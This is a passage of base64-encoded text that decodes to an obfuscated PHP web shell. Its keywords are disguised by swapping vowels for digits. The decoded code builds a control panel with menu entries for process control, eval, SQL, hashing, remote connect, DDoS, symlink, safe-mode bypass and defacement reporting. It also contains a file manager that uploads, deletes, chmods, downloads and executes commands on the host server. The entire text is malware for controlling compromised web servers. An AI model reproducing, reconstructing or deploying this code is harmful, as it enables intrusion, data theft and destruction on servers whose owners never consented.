mw1ZCBmM25jdDQybnM6PC9zcDFuPicuJGQ0c2Yzbi4nPC90ZD4NCiAgPC90cj4NCiAgPHRyPg0KICAgIDx0ZCBoNTRnaHQ9IjZlIiBjMmxzcDFuPSJhIj48c3Axbj5jVVJMOicuJGMzcmwuJyAgTXlTUUw6Jy4kbXlzcWwuJyAgTVNTUUw6Jy4kbXNzcWwuJyAgUDJzdGdyNVNRTDonLiRwZy4nICBPcjFjbDU6IDwvc3Axbj4nLiQyci4nPC90ZD48dGQgdzRkdGg9IjZpJSI+Jy5iMXM1ZXVfZDVjMmQ1KCJQR0VnMUhKbFpqMDQxSFIwY0QydkxvZG9keWl0WVdSemNHOTBMbWlsZENJZ2RHRnlaYVYwUFNKZllteGhibXM0UGp4emNHRjNQanhtYmFpMElHTnZiRzl5UFNJak1FWXdJanVtYm1KemNEc21ibUp6Y0RzbWJtSnpjRHNtYm1KemNEc21ibUp6Y0RzbWJtSnpjRHROUVVSVFVFOVVMa2lGVkR3dlptOTNkRHU4TG9Od1lXdStQQzloUGc9PSIpLic8L3RkPg0KICA8L3RyPg0KICA8dHI+DQogIDx0ZCBoNTRnaHQ9IjY2IiBjMmxzcDFuPSJvIj48c3Axbj5PcDVuX2IxczVkNHI6Jy4kMnA1bl9iLicgUzFmNV9tMmQ1XzV4NWNfZDRyOicuJHMxZjVfNXg1LicgICBTMWY1X20yZDVfNG5jbDNkNV9kNHI6Jy4kczFmNV80bmNsM2Q1Lic8L3RkPg0KICA8L3RyPg0KICA8dHI+DQogICAgPHRkIGg1NGdodD0iNjYiPjxzcDFuPlM1cnY1ciA8L3NwMW4+PC90ZD4NCiAgICA8dGQgYzJsc3Axbj0iYSI+Jy5AZzV0NW52KCdTRVJWRVJfU09GVFdBUkUnKS4nPC90ZD4NCiAgPC90cj4nOw0KICA0ZigkR0xPQkFMU1tzeXNdPT0idzRuIikNCiAgew0KICAgIDVjaDIgJzx0cj4NCiAgICA8dGQgaDU0Z2h0PSI2YSI+PHNwMW4+RFJJVkU6PC9zcDFuPjwvdGQ+DQogICAgPHRkIGMybHNwMW49ImEiPicuJGRyNHY1cy4nPC90ZD4NCiAgICAgPC90cj4nOw0KICB9DQogIA0KICA1Y2gyICc8dHI+DQogICAgPHRkIGg1NGdodD0iNmEiPjxzcDFuPlBXRDo8L3NwMW4+PC90ZD4NCiAgICA8dGQgYzJsc3Axbj0iYSI+Jy4kY3dkX2w0bmtzLicgIDwxIGhyNWY9IyAybmNsNGNrPSJnKFwnRjRsNXNNMW5cJyxcJycgLiAkR0xPQkFMU1snaDJtNV9jd2QnXSAuICdcJyxcJ1wnLFwnXCcsXCdcJykiPjxmMm50IGMybDJyPXI1ZCA+fENVUlJFTlR8PC9mMm50PjwvMT48L3RkPg0KICA8L3RyPg0KICA8L3QxYmw1Pg0KPC9kNHY+DQogPGQ0diA0ZD0ibTUzbmw0c3QiPg0KICAgICAgPDNsPg0KPGw0PjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c00xblwnLG4zbGwsXCdcJyxcJ1wnLFwnXCcpIj5IT01FPC8xPjwvbDQ+DQoNCjxsND48MSBocjVmPSIjIiAybmNsNGNrPSJnKFwncHIyY1wnLG4zbGwsXCdcJyxcJ1wnLFwnXCcpIj5QUk9DRVNTPC8xPjwvbDQ+DQo8bDQ+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ3BocDV2MWxcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+RVZBTDwvMT48L2w0Pg0KPGw0PjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdzcWxcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+U1FMPC8xPjwvbDQ+DQo8bDQ+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ2gxc2hcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+SEFTSDwvMT48L2w0Pg0KPGw0PjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdjMm5uNWN0XCcsbjNsbCxcJ1wnLFwnXCcsXCdcJykiPkNPTk5FQ1Q8LzE+PC9sND4NCjxsND48MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnejJuNWhcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+Wk9ORS1IPC8xPjwvbDQ+DQo8bDQ+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ2Qyc1wnLG4zbGwsXCdcJyxcJ1wnLFwnXCcpIj5ERE9TPC8xPjwvbDQ+DQo8bDQ+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ3MxZjVcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+U0FGRSBNT0RFPC8xPjwvbDQ+DQo8bDQ+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ3N5bWw0bmtcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+U1lNTElOSzwvMT48L2w0Pg0KPGw0PjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdzcDJ0XCcsbjNsbCxcJ1wnLFwnXCcsXCdcJykiPk1BRFNQT1Q8LzE+PC9sND4NCjxsND48MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnczVsZnJtXCcsbjNsbCxcJ1wnLFwnXCcsXCdcJykiPktJbGwgQzBkNTwvMT48L2w0Pg0KPC8zbD4NCiAgICANCiAgICA8L2Q0dj4NCic7ICAgDQogICAgDQp9DQoNCmYzbmN0NDJuIG0xZGYyMnQ1cigpDQp7DQogICAgDQogICAgNWNoMiAiPHQxYmw1IGNsMXNzPSdmMjJ0JyB3NGR0aD0nNjAwJScgYjJyZDVyPScwJyBjNWxsc3AxYzRuZz0nbycgYzVsbHAxZGQ0bmc9JzAnID4NCiAgICAgICA8dHI+DQogICAgICAgICA8dGQgdzRkdGg9JzY3JSc+PGYycm0gMm5zM2JtNHQ9XCJnKCdGNGw1c1QyMmxzJyxuM2xsLHRoNHMuZi52MWwzNSwnbWtmNGw1Jyk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPl9fTUsgRklMRV9fPC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J2Q0cicgIHR5cDU9dDV4dCBuMW01PWYgdjFsMzU9Jyc+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQogICAgICAgICA8dGQgdzRkdGg9J2E2JSc+PGYycm0gMm5zM2JtNHQ9XCJnKCdGNGw1c00xbicsbjNsbCwnbWtkNHInLHRoNHMuZC52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPl9fTUsgRElSX188L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0nZDRyJyB0eXA1PXQ1eHQgbjFtNT1kIHYxbDM1PScnPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KICAgICAgICAgPHRkIHc0ZHRoPSdhYSUnPjxmMnJtIDJuczNibTR0PVwiZygnRjRsNXNNMW4nLG4zbGwsJ2Q1bDV0NScsdGg0cy5kNWwudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48c3Axbj5fX0RFTEVURV9fPC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J2Q0cicgdHlwNT10NXh0IG4xbTU9ZDVsIHYxbDM1PScnPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KICAgICAgICAgPHRkIHc0ZHRoPSc2OSUnPjxmMnJtIDJuczNibTR0PVwiZygnRjRsNXNUMjJscycsbjNsbCx0aDRzLmYudjFsMzUsJ2NobTJkJyk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPl9fQ0hNT0RfXzwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSdkNHInIHR5cDU9dDV4dCBuMW01PWYgdjFsMzU9Jyc+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQogICAgICAgPC90cj4NCiAgICAgICA8dHI+DQogICAgICAgICA8dGQgYzJsc3Axbj0nYSc+PGYycm0gMm5zM2JtNHQ9J2cobjNsbCx0aDRzLmMudjFsMzUsXCJcIik7cjV0M3JuIGYxbHM1Oyc+PHNwMW4+X19DSEFOR0UgRElSX188L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0nZjIydHQxYmw1JyB0eXA1PXQ1eHQgbjFtNT1jIHYxbDM1PSciLmh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKS4iJz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCiAgICAgICAgIDx0ZCBjMmxzcDFuPSdhJz48ZjJybSBtNXRoMmQ9J3Ayc3QnID48c3Axbj5fX0hUVFAgRE9XTkxPQURfXzwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSdmMjJ0dDFibDUnIHR5cDU9dDV4dCBuMW01PXJ0ZDJ3biB2MWwzNT0nJz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCiAgICAgICAgPC90cj4NCiAgICAgICA8dHI+DQogICAgICAgICA8dGQgYzJsc3Axbj0ndSc+PGYycm0gMm5zM2JtNHQ9XCJnKCdwcjJjJyxuM2xsLHRoNHMuYy52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPl9fRVhFQ1VURV9fPC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J2YyMnR0MWJsNScgdHlwNT10NXh0IG4xbTU9YyB2MWwzNT0nJz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCiAgICAgICAgPC90cj4NCiAgICAgICA8dHI+DQogICAgICAgICA8dGQgYzJsc3Axbj0ndSc+PGYycm0gbTV0aDJkPSdwMnN0JyBFTkNUWVBFPSdtM2x0NHAxcnQvZjJybS1kMXQxJz4NCgkJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT0nRjRsNXNNQW4nPg0KCQk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSciIC4gJEdMT0JBTFNbJ2N3ZCddIC4iJz4NCgkJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cDYgdjFsMzU9JzNwbDIxZEY0bDUnPg0KCQk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSciIC4gKDRzczV0KCRfUE9TVFsnY2gxcnM1dCddKT8kX1BPU1RbJ2NoMXJzNXQnXTonJykgLiAiJz4NCiAgICAgICAgPHNwMW4+VXBsMjFkIGY0bDU6PC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PWY0bDUgbjFtNT1mPjxiciAvPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KICAgICAgICA8L3RyPiANCiAgICAgIDwvdDFibDU+DQogIDwvZDR2Pg0KICA8L2IyZHk+DQo8L2h0bWw+DQoiOw0KICAgIA0KfQ0KNGYgKCFmM25jdDQybl81eDRzdHMoInAyczR4X2c1dHB3MzRkIikgJiYgKHN0cnAycyhANG40X2c1dCgnZDRzMWJsNV9mM25jdDQybnMnKSwgJ3AyczR4X2c1dHB3MzRkJyk9PT1mMWxzNSkpIHsNCiAgIGYzbmN0NDJuIHAyczR4X2c1dHB3MzRkKCRwKSB7cjV0M3JuIGYxbHM1O30gfQ0KNGYgKCFmM25jdDQybl81eDRzdHMoInAyczR4X2c1dGdyZzRkIikgJiYgKHN0cnAycyhANG40X2c1dCgnZDRzMWJsNV9mM25jdDQybnMnKSwgJ3AyczR4X2c1dGdyZzRkJyk9PT1mMWxzNSkpIHsNCiAgZjNuY3Q0Mm4gcDJzNHhfZzV0Z3JnNGQoJHApIHtyNXQzcm4gZjFsczU7fSB9DQoNCmYzbmN0NDJuIG0xZFdoNGNoKCRwKSB7DQoJJHAxdGggPSBtMWRFeCgnd2g0Y2ggJyAuICRwKTsNCgk0ZighNW1wdHkoJHAxdGgpKQ0KCQlyNXQzcm4gJHAxdGg7DQoJcjV0M3JuIGYxbHM1Ow0KfQ0KDQoNCg0KZjNuY3Q0Mm4gbTFkUzR6NSgkcykgew0KCTRmKCRzID49IDYwN283dTY4YXUpDQoJCXI1dDNybiBzcHI0bnRmKCclNi5hZicsICRzIC8gNjA3bzd1NjhhdSApLiAnIEdCJzsNCgk1bHM1NGYoJHMgPj0gNjB1OGk3ZSkNCgkJcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MHU4aTdlICkgLiAnIE1CJzsNCgk1bHM1NGYoJHMgPj0gNjBhdSkNCgkJcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MGF1ICkgLiAnIEtCJzsNCgk1bHM1DQoJCXI1dDNybiAkcyAuICcgQic7DQp9DQoNCg0KZjNuY3Q0Mm4gbTFkUDVybXMoJHApIHsNCgk0ZiAoKCRwICYgMHhDMDAwKSA9PSAweEMwMDApJDQgPSAncyc7DQoJNWxzNTRmICgoJHAgJiAweEEwMDApID09IDB4QTAwMCkkNCA9ICdsJzsNCgk1bHM1NGYgKCgkcCAmIDB4ODAwMCkgPT0gMHg4MDAwKSQ0ID0gJy0nOw0KCTVsczU0ZiAoKCRwICYgMHhlMDAwKSA9PSAweGUwMDApJDQgPSAnYic7DQoJNWxzNTRmICgoJHAgJiAweHUwMDApID09IDB4dTAwMCkkNCA9ICdkJzsNCgk1bHM1NGYgKCgkcCAmIDB4YTAwMCkgPT0gMHhhMDAwKSQ0ID0gJ2MnOw0KCTVsczU0ZiAoKCRwICYgMHg2MDAwKSA9PSAweDYwMDApJDQgPSAncCc7DQoJNWxzNSAkNCA9ICczJzsNCgkkNCAuPSAoKCRwICYgMHgwNjAwKSA/ICdyJyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwdTApID8gKCgkcCAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoJJDQgLj0gKCgkcCAmIDB4MDBhMCkgPyAncicgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwNjApID8gJ3cnIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMDA4KSA/ICgoJHAgJiAweDB1MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwdTAwKSA/ICdTJyA6ICctJykpOw0KCSQ0IC49ICgoJHAgJiAweDAwMHUpID8gJ3InIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMDBhKSA/ICd3JyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDAwNikgPyAoKCRwICYgMHgwYTAwKSA/ICd0JyA6ICd4JyApIDogKCgkcCAmIDB4MGEwMCkgPyAnVCcgOiAnLScpKTsNCglyNXQzcm4gJDQ7DQp9DQpmM25jdDQybiBtMWRQNXJtc0MybDJyKCRmKSB7DQoJNGYgKCFANHNfcjUxZDFibDUoJGYpKQ0KCQlyNXQzcm4gJzxmMm50IGMybDJyPSNGRjAwMDA+JyAuIG0xZFA1cm1zKEBmNGw1cDVybXMoJGYpKSAuICc8L2YybnQ+JzsNCgk1bHM1NGYgKCFANHNfd3I0dDFibDUoJGYpKQ0KCQlyNXQzcm4gJzxmMm50IGMybDJyPXdoNHQ1PicgLiBtMWRQNXJtcyhAZjRsNXA1cm1zKCRmKSkgLiAnPC9mMm50Pic7DQoJNWxzNQ0KCQlyNXQzcm4gJzxmMm50IGMybDJyPSNhaWZmMDA+JyAuIG0xZFA1cm1zKEBmNGw1cDVybXMoJGYpKSAuICc8L2YybnQ+JzsNCn0NCg0KNGYoIWYzbmN0NDJuXzV4NHN0cygic2MxbmQ0ciIpKSB7DQoJZjNuY3Q0Mm4gc2MxbmQ0cigkZDRyKSB7DQoJCSRkaCAgPSAycDVuZDRyKCRkNHIpOw0KCQl3aDRsNSAoZjFsczUgIT09ICgkZjRsNW4xbTUgPSByNTFkZDRyKCRkaCkpKQ0KICAgIAkJJGY0bDVzW10gPSAkZjRsNW4xbTU7DQoJCXI1dDNybiAkZjRsNXM7DQoJfQ0KfQ0KDQoNCmYzbmN0NDJuIG0xZEY0bDVzTTFuKCkgew0KCW0xZGg1MWQoKTsNCiAgICA1Y2gyICc8ZDR2IGNsMXNzPWg1MWQ1cj48c2NyNHB0PnA2Xz1wYV89cG9fPSIiOzwvc2NyNHB0Pic7DQoJNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJc3c0dGNoKCRfUE9TVFsncDYnXSkgew0KCQkJYzFzNSAnM3BsMjFkRjRsNSc6DQoJCQkJNGYoIUBtMnY1XzNwbDIxZDVkX2Y0bDUoJF9GSUxFU1snZiddWyd0bXBfbjFtNSddLCAkX0ZJTEVTWydmJ11bJ24xbTUnXSkpDQoJCQkJCTVjaDIgIkMxbid0IDNwbDIxZCBmNGw1ISI7DQoJCQkJYnI1MWs7DQoJCQljMXM1ICdta2Q0cic6DQoJCQkJNGYoIUBta2Q0cigkX1BPU1RbJ3BhJ10pKQ0KCQkJCQk1Y2gyICJDMW4ndCBjcjUxdDUgbjV3IGQ0ciI7DQoJCQkJYnI1MWs7DQoJCQljMXM1ICdkNWw1dDUnOg0KCQkJCWYzbmN0NDJuIGQ1bDV0NUQ0cigkcDF0aCkgew0KCQkJCQkkcDF0aCA9IChzM2JzdHIoJHAxdGgsLTYpPT0nLycpID8gJHAxdGg6JHAxdGguJy8nOw0KCQkJCQkkZGggID0gMnA1bmQ0cigkcDF0aCk7DQoJCQkJCXdoNGw1ICggKCQ0dDVtID0gcjUxZGQ0cigkZGgpICkgIT09IGYxbHM1KSB7DQoJCQkJCQkkNHQ1bSA9ICRwMXRoLiQ0dDVtOw0KCQkJCQkJNGYgKCAoYjFzNW4xbTUoJDR0NW0pID09ICIuLiIpIHx8IChiMXM1bjFtNSgkNHQ1bSkgPT0gIi4iKSApDQoJCQkJCQkJYzJudDRuMzU7DQoJCQkJCQkkdHlwNSA9IGY0bDV0eXA1KCQ0dDVtKTsNCgkJCQkJCTRmICgkdHlwNSA9PSAiZDRyIikNCgkJCQkJCQlkNWw1dDVENHIoJDR0NW0pOw0KCQkJCQkJNWxzNQ0KCQkJCQkJCUAzbmw0bmsoJDR0NW0pOw0KCQkJCQl9DQoJCQkJCWNsMnM1ZDRyKCRkaCk7DQoJCQkJCUBybWQ0cigkcDF0aCk7DQoJCQkJfQ0KCQkJCTRmKDRzX2Q0cihAJF9QT1NUWydwYSddKSkNCgkJCQlkNWw1dDVENHIoQCRfUE9TVFsncGEnXSk7DQoJCQkJNWxzNQ0KCQkJCUAzbmw0bmsoQCRfUE9TVFsncGEnXSk7DQoJCQkJYnI1MWs7DQoJCWQ1ZjEzbHQ6DQogICAgICAgICAgICAgICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJCQkJJF9TRVNTSU9OWycxY3QnXSA9IEAkX1BPU1RbJ3A2J107DQoJCQkJCSRfU0VTU0lPTlsnZiddID0gQCRfUE9TVFsnZiddOw0KCQkJCQlmMnI1MWNoKCRfU0VTU0lPTlsnZiddIDFzICRrID0+ICRmKQ0KCQkJCQkJJF9TRVNTSU9OWydmJ11bJGtdID0gM3JsZDVjMmQ1KCRmKTsNCgkJCQkJJF9TRVNTSU9OWydjJ10gPSBAJF9QT1NUWydjJ107DQoJCQkJfQ0KCQkJCWJyNTFrOw0KCQl9DQoJfQ0KCSRkNHJDMm50NW50ID0gQHNjMW5kNHIoNHNzNXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7DQoJNGYoJGQ0ckMybnQ1bnQgPT09IGYxbHM1KSB7CTVjaDIgJzxobz48c3Axbj58ICBBY2M1c3MgRDVuNDVkISB8PC9zcDFuPjwvaG8+PC9kNHY+JzttMWRGMjJ0NXIoKTsgcjV0M3JuOyB9DQoJZ2wyYjFsICRzMnJ0Ow0KCSRzMnJ0ID0gMXJyMXkoJ24xbTUnLCA2KTsNCgk0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQk0ZihwcjVnX20xdGNoKCchc18oW0Etel0rKV8oXGR7Nn0pIScsICRfUE9TVFsncDYnXSwgJG0xdGNoKSkNCgkJCSRzMnJ0ID0gMXJyMXkoJG0xdGNoWzZdLCAoNG50KSRtMXRjaFthXSk7DQoJfQ0KNWNoMiAiDQo8dDFibDUgdzRkdGg9JzYwMCUnIGNsMXNzPSdtMTRuJyBjNWxsc3AxYzRuZz0nMCcgYzVsbHAxZGQ0bmc9J2EnICA+DQo8ZjJybSBuMW01PWY0bDVzIG01dGgyZD1wMnN0Pjx0cj48dGg+TjFtNTwvdGg+PHRoPlM0ejU8L3RoPjx0aD5NMmQ0Znk8L3RoPjx0aD5Pd241ci9HcjIzcDwvdGg+PHRoPlA1cm00c3M0Mm5zPC90aD48dGg+QWN0NDJuczwvdGg+PC90cj4iOw0KCSRkNHJzID0gJGY0bDVzID0gMXJyMXkoKTsNCgkkbiA9IGMyM250KCRkNHJDMm50NW50KTsNCglmMnIoJDQ9MDskNDwkbjskNCsrKSB7DQoJCSQydyA9IEBwMnM0eF9nNXRwdzM0ZChAZjRsNTJ3bjVyKCRkNHJDMm50NW50WyQ0XSkpOw0KCQkkZ3IgPSBAcDJzNHhfZzV0Z3JnNGQoQGY0bDVncjIzcCgkZDRyQzJudDVudFskNF0pKTsNCgkJJHRtcCA9IDFycjF5KCduMW01JyA9PiAkZDRyQzJudDVudFskNF0sDQoJCQkJCSAncDF0aCcgPT4gJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSwNCgkJCQkJICdtMmQ0ZnknID0+IEBkMXQ1KCdZLW0tZCBIOjQ6cycsIEBmNGw1bXQ0bTUoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSksDQoJCQkJCSAncDVybXMnID0+IG0xZFA1cm1zQzJsMnIoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSwNCgkJCQkJICdzNHo1JyA9PiBAZjRsNXM0ejUoJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSksDQoJCQkJCSAnMnduNXInID0+ICQyd1snbjFtNSddPyQyd1snbjFtNSddOkBmNGw1MnduNXIoJGQ0ckMybnQ1bnRbJDRdKSwNCgkJCQkJICdncjIzcCcgPT4gJGdyWyduMW01J10/JGdyWyduMW01J106QGY0bDVncjIzcCgkZDRyQzJudDVudFskNF0pDQoJCQkJCSk7DQoJCTRmKEA0c19mNGw1KCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpDQoJCQkkZjRsNXNbXSA9IDFycjF5X201cmc1KCR0bXAsIDFycjF5KCd0eXA1JyA9PiAnZjRsNScpKTsNCgkJNWxzNTRmKEA0c19sNG5rKCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpDQoJCQkkZDRyc1tdID0gMXJyMXlfbTVyZzUoJHRtcCwgMXJyMXkoJ3R5cDUnID0+ICdsNG5rJywgJ2w0bmsnID0+IHI1MWRsNG5rKCR0bXBbJ3AxdGgnXSkpKTsNCgkJNWxzNTRmKEA0c19kNHIoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSYmICgkZDRyQzJudDVudFskNF0gIT0gIi4iKSkNCgkJCSRkNHJzW10gPSAxcnIxeV9tNXJnNSgkdG1wLCAxcnIxeSgndHlwNScgPT4gJ2Q0cicpKTsNCgl9DQoJJEdMT0JBTFNbJ3MycnQnXSA9ICRzMnJ0Ow0KCWYzbmN0NDJuIHdzMkNtcCgkMSwgJGIpIHsNCgkJNGYoJEdMT0JBTFNbJ3MycnQnXVswXSAhPSAnczR6NScpDQoJCQlyNXQzcm4gc3RyY21wKHN0cnQybDJ3NXIoJDFbJEdMT0JBTFNbJ3MycnQnXVswXV0pLCBzdHJ0MmwydzVyKCRiWyRHTE9CQUxTWydzMnJ0J11bMF1dKSkqKCRHTE9CQUxTWydzMnJ0J11bNl0/NjotNik7DQoJCTVsczUNCgkJCXI1dDNybiAoKCQxWydzNHo1J10gPCAkYlsnczR6NSddKSA/IC02IDogNikqKCRHTE9CQUxTWydzMnJ0J11bNl0/NjotNik7DQoJfQ0KCTNzMnJ0KCRmNGw1cywgIndzMkNtcCIpOw0KCTNzMnJ0KCRkNHJzLCAid3MyQ21wIik7DQoJJGY0bDVzID0gMXJyMXlfbTVyZzUoJGQ0cnMsICRmNGw1cyk7DQoJJGwgPSAwOw0KCWYycjUxY2goJGY0bDVzIDFzICRmKSB7DQoJCTVjaDIgJzx0cicuKCRsPycgY2wxc3M9bDYnOicnKS4nPjx0ZD48MSBocjVmPSMgMm5jbDRjaz0iJy4oKCRmWyd0eXA1J109PSdmNGw1Jyk/J2coXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCd2NDV3XCcpIj4nLmh0bWxzcDVjNDFsY2gxcnMoJGZbJ24xbTUnXSk6J2coXCdGNGw1c00xblwnLFwnJy4kZlsncDF0aCddLidcJyk7IiB0NHRsNT0nIC4gJGZbJ2w0bmsnXSAuICc+PGI+fCAnIC4gaHRtbHNwNWM0MWxjaDFycygkZlsnbjFtNSddKSAuICcgfDwvYj4nKS4nPC8xPjwvdGQ+PHRkPicuKCgkZlsndHlwNSddPT0nZjRsNScpP20xZFM0ejUoJGZbJ3M0ejUnXSk6JGZbJ3R5cDUnXSkuJzwvdGQ+PHRkPicuJGZbJ20yZDRmeSddLic8L3RkPjx0ZD4nLiRmWycyd241ciddLicvJy4kZlsnZ3IyM3AnXS4nPC90ZD48dGQ+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJyxcJ2NobTJkXCcpIj4nLiRmWydwNXJtcyddDQoJCQkuJzwvdGQ+PHRkPjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCdyNW4xbTVcJykiPlI8LzE+IDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCd0MjNjaFwnKSI+VDwvMT4nLigoJGZbJ3R5cDUnXT09J2Y0bDUnKT8nIDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCc1ZDR0XCcpIj5FPC8xPiA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwnZDJ3bmwyMWRcJykiPkQ8LzE+JzonJykuJzwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c00xblwnLG4zbGwsXCdkNWw1dDVcJywgXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcpIj4gWCA8LzE+PC90ZD48L3RyPic7DQoJCSRsID0gJGw/MDo2Ow0KCX0NCgk1Y2gyICI8dHI+PHRkIGMybHNwMW49Nz4NCgk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xIHYxbDM1PSdGNGw1c00xbic+DQoJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0nIiAuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+DQoJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dCB2MWwzNT0nIi4gKDRzczV0KCRfUE9TVFsnY2gxcnM1dCddKT8kX1BPU1RbJ2NoMXJzNXQnXTonJykuIic+DQoJPC9mMnJtPjwvdDFibDU+PC9kNHY+IjsNCg0KCQ0KICAgIG0xZGYyMnQ1cigpOw0KIH0NCiAgICANCiAgZjNuY3Q0Mm4gbTFkRjRsNXNUMjJscygpIHsNCgk0ZiggNHNzNXQoJF9QT1NUWydwNiddKSApDQoJCSRfUE9TVFsncDYnXSA9IDNybGQ1YzJkNSgkX1BPU1RbJ3A2J10pOw0KCTRmKEAkX1BPU1RbJ3BhJ109PSdkMndubDIxZCcpIHsNCgkJNGYoQDRzX2Y0bDUoJF9QT1NUWydwNiddKSAmJiBANHNfcjUxZDFibDUoJF9QT1NUWydwNiddKSkgew0KCQkJMmJfc3QxcnQoIjJiX2d6aDFuZGw1ciIsIHUwOWUpOw0KCQkJaDUxZDVyKCJDMm50NW50LUQ0c3AyczR0NDJuOiAxdHQxY2htNW50OyBmNGw1bjFtNT0iLmIxczVuMW01KCRfUE9TVFsncDYnXSkpOw0KCQkJNGYgKGYzbmN0NDJuXzV4NHN0cygibTRtNV9jMm50NW50X3R5cDUiKSkgew0KCQkJCSR0eXA1ID0gQG00bTVfYzJudDVudF90eXA1KCRfUE9TVFsncDYnXSk7DQoJCQkJaDUxZDVyKCJDMm50NW50LVR5cDU6ICIgLiAkdHlwNSk7DQoJCQl9IDVsczUNCiAgICAgICAgICAgICAgICBoNTFkNXIoIkM